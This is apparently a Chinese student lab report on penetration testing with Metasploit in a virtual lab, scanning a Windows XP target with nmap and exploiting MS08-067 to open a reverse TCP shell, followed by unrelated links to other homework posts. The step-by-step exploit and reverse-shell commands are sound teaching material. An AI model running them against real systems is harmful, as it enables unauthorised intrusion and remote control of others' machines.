一、环境的使用和搭建

首先我的攻击机和靶机都搭建在虚拟机上,选用的是VMware Workstation Pro虚拟机。

攻击机选用的是Linux kali 2017.2版本,而靶机安装的是XP sp3纯净版。

在这里安装虚拟机的时候要注意网络适配器的网络连接方式选用NAT 连接。

二、Metaspoit的安装

当然在此之前要先更新好kaili的源地址,在这里就不介绍这个相关过程了。

由于kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。

在kali 2.0中启动带数据库支持的MSF方式如下:

1 首先启动postgresql数据库:

/etc/init.d/postgresql start;或者 service postgresql start;

2 初始化MSF数据库(关键步骤!):msfdb init;(如不能初始化,就用msfdb reinit试试吧!默认创建的数据库名:msf,msf_test;用户名:msf;口令默认为空)

3 运行msfconsole:msfconsole;

4 在msf中查看数据库连接状态:db_status。

5更新metasploit:msfupdate

6设置启动 自动启动msf和postgresql:

update-rc.d postgresql enable



看到这样的画面代表安装成功!

三、找到靶机中相应的漏洞

1.互ping联通

首先要确定的是攻击机和靶机处于同一网段下,当然如果没有特别设定一般都处于同一网段。

确定靶机和攻击机IP地址的方法:

Linux在shell中输入ifconfig



这里可以看到我的kali的IP地址为:192.168.80.129

XP系统则是打开cmd,然后输入ipconfig



这里可以看到我的XP的IP地址为:192.168.80.131

可以看到两台主机处于同一网段下,接着进行两台主机之间的互ping,确定两台主机连通。





可以看到两机成功联通。

2.靶机的制作

我也不知道起这个标题合不合理,因为我没有找到一个真正的靶机,我安装的就是普通的纯净版的XP,因此不太清楚真正的靶机是什么样子的,但是通过接下来对于metaspoit攻击的了解,我发现它的攻击基本基于靶机的开放端口进行,如果靶机防火墙打开,端口关闭好像很难进行攻击(当然这只是基于我目前的了解来看,可能存在问题),因此我就对我的靶机进行了如下操作:

1.首先,关闭了靶机的防火墙。

2.接着打开靶机需要打开的端口,在这里我所做的测试是基于23端口进行的,23端口是telent端口。

3.打开控制面板,找到管理工具,打开服务选项,找到相应端口进行开启即可。



4.接着打开cmd,输入netstat -a -n查看所有打开的端口,可以看到23端口成功打开



5.回到kaili使用nmap对靶机进行扫描确定其开启的端口能否扫描到



确定23端口打开接着就可以通过metaspoit攻击。

四、metaspoit攻击靶机

进行扫描Telnet服务。具体操作步骤如下所示:

(1)启动MSF终端。

(2)使用telnet_version模块,并查看可配置的选项参数。



(3)配置RHOSTS选项,并启动扫描。

在这里说明一下RHOSTS是靶机的IP地址,首次启动时上图这个选项应为no,我之前进行过测试所以显示yes



可以看到显示的信息,成功连接目标靶机。

五、漏洞的检测

       首先说明一点本次实验当中使用的攻击机与靶机操作系统与上篇中相同。
本次做的渗透攻击测试是基于xp系统漏洞的攻击,因此首要的步骤是进行漏洞扫描,这里我选用的工具是nmap对靶机进行漏洞扫描,最开始我找到的漏洞扫描语句是:nmap -sS -sV -O --script=smb-check-vulns.nse -n XP IP。但是当我进行扫描之后报错:/usr/bin/../share/nmap/nse_main.lua:801: ‘smb-check-vulns.nse’ did not match a category, filename, or directory。这是因为从NMAP 6.49beta6开始,smb-check-vulns.nse脚本被取消了。它被分为smb-vuln-conficker、?smb-vuln-cve2009-3103、smb-vuln-ms06-025、smb-vuln-ms07-029、smb-vuln-regsvc-dos、smb-vuln-ms08-067这六个脚本。用户根据需要选择对应的脚本。如果不确定执行哪一个,可以使用smb-vuln-*.nse来指定所有的脚本文件,进行全扫描。所以我使用的语句为:nmap -v -p139,445 --script=smb-vuln-*.nse --script-args=unsafe=1 XP IP -Pn。大家可以根据自己相应的nmap版本确定自己需要执行的指令。

扫描结果如下图所示:





从上图中可以看到当前的windows中存在两个安全漏洞分别是MS08-067和MS7-010,本次实验主要针对MS08-067进行漏洞的破解研究。

六、漏洞攻击

1.知道漏洞名称之后首先需要了解应该启动什么模块才能对相应的漏洞进行攻击,因此打开msfconsole进行相关搜索,通过search ms08_067语句,会显示出找到的渗透模块,如下图所示:



2.按提示输入命令use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用。

3.接着输入命令show payload会显示出有效的攻击载荷,如下图所示,我们找到一个shell_reverse_tcp。



4.使用命令set payload generic/shell_reverse_tcp设置攻击有效载荷。

5.使用命令”set LHOST "kali Ip" “set RHOST "Win xp Ip"分别设置攻击机IP与靶机IP地址



6.接着通过命令show options查看payload状态是否正确



可以看到所有的内容全部正确设置

7.最后通过exploit命令完成呢



可以看到攻击之后成功的打开了靶机的shell命令行,并且通过ipconfig命令,进一步确定攻击成功,ip地址就是对应靶机的IP地址。

七、实验总结

     本次使用Metasploit进行了两类的渗透攻击测试,分别是基于打开端口的攻击和基于系统漏洞的攻击,端口的攻击虽然没有完全的完成攻击但是还是做到了连接,而漏洞攻击则是成功的实现了攻击。Metasploit的攻击主要还是基于系统端口的,即使是漏洞攻击也需要用到445端口才能实现对漏洞的攻击,而nmap真的是一个非常重要的工具,通过它可以确定靶机开启的端口。不过通过几次攻击扫描的实验也让我有了一个怀疑,因为无论是基于端口还是基于漏洞的攻击都需要靶机的防火墙关闭才行,感觉实际意义有点低,毕竟像靶机这样不设防的计算机基本是不存在的,所以希望通过接下来的学习可以了解到更好的渗透攻击技术。

20179203 《Linux内核原理与分析》第十一周作业的更多相关文章

  1. 20169212《Linux内核原理与分析》第二周作业

    <Linux内核原理与分析>第二周作业 这一周学习了MOOCLinux内核分析的第一讲,计算机是如何工作的?由于本科对相关知识的不熟悉,所以感觉有的知识理解起来了有一定的难度,不过多查查资 ...

  2. 20169210《Linux内核原理与分析》第二周作业

    <Linux内核原理与分析>第二周作业 本周作业分为两部分:第一部分为观看学习视频并完成实验楼实验一:第二部分为看<Linux内核设计与实现>1.2.18章并安装配置内核. 第 ...

  3. 2018-2019-1 20189221 《Linux内核原理与分析》第九周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第九周作业 实验八 理理解进程调度时机跟踪分析进程调度与进程切换的过程 进程调度 进度调度时机: 1.中断处理过程(包 ...

  4. 2017-2018-1 20179215《Linux内核原理与分析》第二周作业

    20179215<Linux内核原理与分析>第二周作业 这一周主要了解了计算机是如何工作的,包括现在存储程序计算机的工作模型.X86汇编指令包括几种内存地址的寻址方式和push.pop.c ...

  5. 2019-2020-1 20199329《Linux内核原理与分析》第九周作业

    <Linux内核原理与分析>第九周作业 一.本周内容概述: 阐释linux操作系统的整体构架 理解linux系统的一般执行过程和进程调度的时机 理解linux系统的中断和进程上下文切换 二 ...

  6. 2019-2020-1 20199329《Linux内核原理与分析》第二周作业

    <Linux内核原理与分析>第二周作业 一.上周问题总结: 未能及时整理笔记 Linux还需要多用 markdown格式不熟练 发布博客时间超过规定期限 二.本周学习内容: <庖丁解 ...

  7. 2019-2020-1 20209313《Linux内核原理与分析》第二周作业

    2019-2020-1 20209313<Linux内核原理与分析>第二周作业 零.总结 阐明自己对"计算机是如何工作的"理解. 一.myod 步骤 复习c文件处理内容 ...

  8. 2018-2019-1 20189221《Linux内核原理与分析》第一周作业

    Linux内核原理与分析 - 第一周作业 实验1 Linux系统简介 Linux历史 1991 年 10 月,Linus Torvalds想在自己的电脑上运行UNIX,可是 UNIX 的商业版本非常昂 ...

  9. 《Linux内核原理与分析》第一周作业 20189210

    实验一 Linux系统简介 这一节主要学习了Linux的历史,Linux有关的重要人物以及学习Linux的方法,Linux和Windows的区别.其中学到了LInux中的应用程序大都为开源自由的软件, ...

  10. 2018-2019-1 20189221《Linux内核原理与分析》第二周作业

    读书报告 <庖丁解牛Linux内核分析> 第 1 章 计算工作原理 1.1 存储程序计算机工作模型 1.2 x86-32汇编基础 1.3汇编一个简单的C语言程序并分析其汇编指令执行过程 因 ...

随机推荐

  1. pycharm一直scanning files to index

    删除了c盘的垃圾文件之后,pycharm就一直scanning files to index 解决方法: 点击file,然后选择invalidate caches / restart ...,再弹出的 ...

  2. PAT 天梯赛 L1-025. 正整数A+B 【字符串处理】

    题目链接 https://www.patest.cn/contests/gplt/L1-025 思路 注意 输入字符串B的时候 要用getline 因为 可能存在空格 然后就把字符串 转化成 数字 并 ...

  3. loadrunder之脚本篇——脚本基础知识和常用操作

    1)编码工具设置 自动补全输入Tools->General Options->Environment->Auto complete word 显示功能语法Tools->Genr ...

  4. Adaptive Execution如何让Spark SQL更高效更好用

    1 背  景 Spark SQL / Catalyst 和 CBO 的优化,从查询本身与目标数据的特点的角度尽可能保证了最终生成的执行计划的高效性.但是 执行计划一旦生成,便不可更改,即使执行过程中发 ...

  5. C#无边框窗体移动的三种方法

    1. 重写WndProc protected override void WndProc(ref Message m) { const int WM_NCHITTEST = 0x84; const i ...

  6. uboot相关的几篇好文

    http://www.eeworld.com.cn/mcu/2015/0727/article_21246.html http://blog.csdn.net/kernel_yx/article/de ...

  7. 【Flask】Sqlalchemy lazy

    ### 懒加载:在一对多,或者多对多的时候,如果想要获取多的这一部分的数据的时候,往往能通过一个属性就可以全部获取了.比如有一个作者,想要或者这个作者的所有文章,那么可以通过user.articles ...

  8. [SCOI2013]火柴棍数字(背包)

    题目 做饭 由于越高位越好,我们先得出能组成的最高位 \(f[i][j][k]\)表示从低到高位第\(i\)位,手里拿着\(j\)根火柴,第\(i\)位是否为\(0\)所需要的最少火柴 我们转移仅需得 ...

  9. HA 脑裂原理

    HA 脑裂原理 “裂脑”,乃一个形象的术语,系HA系统危机情景. 引子:“裂脑”是治疗“癫痫”病的一种手术.医生们认为癫痫病发作是由于大脑“异常放电”所至.为了阻止“异常放电”波及整个大脑(左.右半脑 ...

  10. memcached 高级机制(一)

    memcached的高级机制 memcached内存机制 (1)我们知道操作系统对进程的处理方法,在多进程并发的操作系统中,程序的执行不可避免的会产生碎片.同样对于memcached,在存储value ...